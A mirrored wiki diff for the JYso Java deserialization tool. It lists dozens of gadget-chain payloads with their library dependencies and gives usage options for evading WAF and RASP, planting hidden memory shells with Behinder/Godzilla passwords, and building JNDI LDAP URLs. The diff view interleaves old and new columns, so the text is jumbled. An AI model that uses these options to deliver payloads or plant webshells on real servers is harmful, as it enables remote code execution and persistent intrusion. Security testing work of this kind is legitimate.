archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-26 16:51:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

Updated 6、Gadget (markdown)

炁
2026-03-27 11:48:50 +08:00
parent 55f217f3e2
commit 9e765d2ec3
1 changed files with 114 additions and 132 deletions
Download Patch File Download Diff File Expand all files Collapse all files
6、Gadget.md
+114 -132
@@ -1,143 +1,124 @@
# 使用参数和链子 # 使用参数和链子
```text7 ```text7
┏┳┓┏
┃┗┫┏┏┓
┗┛┗┛┛┗┛
[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]
[root]#~ Available payload types: [root]#~ Available payload types:
Payload Authors Dependencies Payload Authors Dependencies
------- ------- ------------ ------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2 AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
BeanShell2 @killer bsh:2.0b1 BeanShell2 @killer bsh:2.0b1
BindingEnumeration C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35
C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35 C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9
C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9 C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30
C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30 C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11
C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11 C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
C3P0JDBC @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
C3P0JNDI @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X
C3P0JNDI2 @Unam4 c3p0:0.9.5.2, com.alibaba.fastjson1.X C3P0RefDataSource
C3P0RefDataSource C3P0WrapperConnPool
C3P0WrapperConnPool Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0
Clojure @JackOfMostTrades clojure:1.8.0 Fastjson1
CommonsBeanutilsAttrCompare183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X Fastjson2
CommonsBeanutilsAttrCompare192 @水滴 commons-beanutils:1.9.2 FileUpload1
CommonsBeanutilsJDBC @QI4L commons-beanutils:1.9.2 Groovy1 @frohoff groovy:2.3.9
CommonsBeanutilsJNDI @QI4L commons-beanutils:1.9.2, commons-collections:3.1 Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
CommonsBeanutilsObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1
CommonsBeanutilsObjectToStringComparator192 @水滴 commons-beanutils:1.9.2, commons-lang3:3.10 Hibernate3JDBC @Unam4 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X
CommonsBeanutilsPropertySource183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
CommonsBeanutilsPropertySource192 @SummerSec commons-beanutils:1.9.2 JRE8u20 @frohoff
Fastjson1 JRE8u20_2
Fastjson2 JRMPClient @mbechler
FileUpload1 JRMPClient_Activator @mbechler
Groovy JRMPClient_Obj @mbechler
Groovy1 @frohoff groovy:2.3.9 JRMPListener @mbechler
Groovy2 @Unam4 groovy <2.4.3 JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
Hibernate1 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1 Jackson1
Hibernate2 @mbechler hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1 Jackson2
Hibernate3JDBC @Unam4 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X Jackson3 @jsjcw 6.2.10
ImageIO Jackson4 @QI4L 6.2.10
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 JacksonLdapAttr
JRE8u20 @frohoff JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRE8u20_2 JdbcRowSet
JRMPClient @mbechler Jdk7u21 @frohoff
JRMPClient_Activator @mbechler Jdk7u21variant @potats0
JRMPClient_Obj @mbechler Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
JRMPListener @mbechler MozillaRhino1 @matthias_kaiser js:1.7R2
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 MozillaRhino2 @_tint0 js:1.7R2
Jackson1 Myfaces1 @mbechler
Jackson2 Myfaces2
Jackson3 @jsjcw 6.2.10 ROME @mbechler rome:1.0
Jackson4 @QI4L 6.2.10 ROME2 rome:1.0
JacksonLdapAttr ROME3 @Firebasky rome:1.0
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 ROMEJDBC
JdbcRowSet RenderedImage jai-codec-1.1.3
Jdk7u21 @frohoff Resin
Jdk7u21variant @potats0 SignedObject
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
LazySearchEnumeration Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
MozillaRhino1 @matthias_kaiser js:1.7R2 Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
MozillaRhino2 @_tint0 js:1.7R2 URLDNS @gebl
Myfaces1 @mbechler UnixPrintService
Myfaces2 UnixPrintServiceLookup
ROME @mbechler rome:1.0 Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
ROME2 rome:1.0 Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
ROME3 @Firebasky rome:1.0 cb160 commons-beanutils:1.6.0
ROMEJDBC cb183 commons-beanutils:1.8.3, commons-beanutils:1.7X
RenderedImage jai-codec-1.1.3 cb192 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
Resin cb_AttrCompare183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
ServiceLoader cb_AttrCompare192 @水滴 commons-beanutils:1.9.2
SignedObject cb_JDBC @QI4L commons-beanutils:1.9.2
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE cb_JNDI @QI4L commons-beanutils:1.9.2, commons-collections:3.1
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 cb_ObjectToStringComparator183 @SummerSec commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X
Spring3 spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2 cb_PropertySource183 @SummerSec commons-beanutils:1.8.3, commons-beanutils:1.7X
SpringAbstractBeanFactoryPointcutAdvisor cb_PropertySource192 @SummerSec commons-beanutils:1.9.2
SpringPartiallyComparableAdvisorHolder cc1 @frohoff commons-collections:3.1
SpringPropertyPathFactory cc10 commons-collections:3.2.1
URLDNS @gebl cc11
UnixPrintService cc12 @Jayl1n commons-collections:3.2.1
UnixPrintServiceLookup cc13 @Unam4 commons-collections:3.1
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 cc2 @frohoff commons-collections4:4.0
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 cc3 @frohoff commons-collections:3.1
Xbean cc4 @frohoff commons-collections4:4.0
cb1183 commons-beanutils:1.8.3, commons-beanutils:1.7X cc4_17 @jiecub3
cb160 commons-beanutils:1.6.0 cc5 @matthias_kaiser, @jasinner commons-collections:3.1
cb192 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 cc6 @matthias_kaiser commons-collections:3.1
cb2183 commons-beanutils:1.8.3, commons-beanutils:1.7X cc7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
cb3183 commons-beanutils:1.8.3, commons-beanutils:1.7X cc8 @navalorenzo commons-collections4:4.0
cc1 @frohoff commons-collections:3.1 cc9 @梅子酒 commons-collections:3.2.1
cc10 commons-collections:3.2.1 cck1 commons-collections:3.1
cc11 cck2 commons-collections:4.0
cc12 @Jayl1n commons-collections:3.2.1 cck3 @matthias_kaiser commons-collections:3.1
cc13 @Unam4 commons-collections:3.1 cck4 @matthias_kaiser commons-collections:4.0
cc2 @frohoff commons-collections4:4.0 springFs
cc3 @frohoff commons-collections:3.1
cc4 @frohoff commons-collections4:4.0
cc4_17 @jiecub3
cc5 @matthias_kaiser, @jasinner commons-collections:3.1
cc6 @matthias_kaiser commons-collections:3.1
cc7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
cc8 @navalorenzo commons-collections4:4.0
cc9 @梅子酒 commons-collections:3.2.1
cck1 commons-collections:3.1
cck2 commons-collections:4.0
cck3 @matthias_kaiser commons-collections:3.1
cck4 @matthias_kaiser commons-collections:4.0
springFs
usage: JYso-[version].jar [-b64] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f <arg>] [-g <arg>] [-i] [-mcl] [-ncs] [-o] [-p
usage: JYso-[version].jar [-ch <arg>] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f <arg>] [-g <arg>] [-gen] [-gzk <arg>] [-h] [-hk <arg>] [-ht <arg>] [-hv <arg>] [-i] [-mcl] [-n <arg>] [-ncs] [-o] [-p <arg>] [-rh] [-utf] [-y]
<arg>] [-pw <arg>] [-rh] [-u <arg>] [-yso <arg>] -b64,--base64 base64 encoding
-b64,--base64 base64编码输出结果 -dcfp,--define-class-from-parameter <arg> Customize parameter name when using DefineClassFromParameter
-ch,--cmd-header <arg> 请求头，将命令传递给执行，默认[X-Token-Data] -dl,--dirty-length <arg> Length of dirty data when using type 1 or 3/Counts of Nesting loops when
-dcfp,--define-class-from-parameter <arg> 使用 DefineClassFromParameter 时自定义参数名称 using type 2
-dl,--dirty-length <arg> 使用类型 1 或 3 时的脏数据长度/使用类型 2 时的嵌套循环计数 -dt,--dirty-type <arg> Using dirty data to bypass WAF，type: 1:Random Hashable
-dt,--dirty-type <arg> 利用脏数据绕过WAF，类型：1:Random Hashable Collections/2:LinkedList Nesting/3:Serialized Data中的TC_RESET Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data
-f,--file <arg> 将输出写入 FileOutputStream（指定文件名） -f,--file <arg> Write Output into FileOutputStream (Specified FileName)
-g,--gadget <arg> Java deserialization gadget -g,--gadget <arg> Java deserialization gadget
-gen,--gen-mem-shell 将内存 Shell 类保存为class文件 -i,--inherit Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should
-gzk,--godzilla-key <arg> Godzilla key,default [key] inherit)
-h,--hide-mem-shell 对检测工具隐藏内存外壳（类型2仅支持SpringControllerMS） -mcl,--mozilla-class-loader Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil
-he1,--Hessian1 Hessian1 Output -ncs,--no-com-sun Force Using org.apache.XXX.TemplatesImpl instead of
-he2,--Hessian2 Hessian2 Output com.sun.org.apache.XXX.TemplatesImpl
-hk,--header-key <arg> MemoryShell 标头检查，请求标头密钥，默认 [Referer] -o,--obscure Using reflection to bypass RASP
-ht,--hide-type <arg> 隐藏内存shell，输入1：write /jre/lib/charsets.jar 2：write /jre/classes/
-hv,--header-value <arg> MemoryShell 标头检查,请求标头值,默认 [https://QI4L.cn/]
-i,--inherit 是否让payload继承AbstractTranslet（低版本的JDK如1.6应该继承）
-mcl,--mozilla-class-loader 在 TransformerUtil 中使用 org.mozilla.javascript.DefiningClassLoader
-n,--gen-mem-shell-name <arg> 设置MemShell类文件名
-ncs,--no-com-sun 强制使用 org.apache.XXX.TemplatesImpl 而不是 com.sun.org.apache.XXX.TemplatesImpl
-o,--obscure 使用反射绕过RASP
-p,--parameters <arg> Gadget parameters -p,--parameters <arg> Gadget parameters
-pw,--password <arg> Behinder 或 Godzilla 密码，默认 [p@ssw0rd] -rh,--rhino ScriptEngineManager Using Rhino Engine to eval JS
-rh,--rhino 使用Rhino Engine 把内存马代码转换为JS
-u,--url <arg> MemoryShell绑定url模式，默认[/QI4L]
-utf,--utf8-Overlong-Encoding UTF-8 Overlong Encoding Bypass waf -utf,--utf8-Overlong-Encoding UTF-8 Overlong Encoding Bypass waf
-x,--XStream <arg> Generate Xstream serialization xml -y,--ysoserial Java deserialization
-y,--ysoserial <arg> Java deserialization
Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser
@@ -177,8 +158,9 @@ java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser
**JNDI中同理** **JNDI中同理**
需要对Base64后的内容进行base64编码
```java ```java
ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/[base64_encoded_DL-xxx.org]) ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/DL-xxx.org])
``` ```
**命令执行示例**: **命令执行示例**: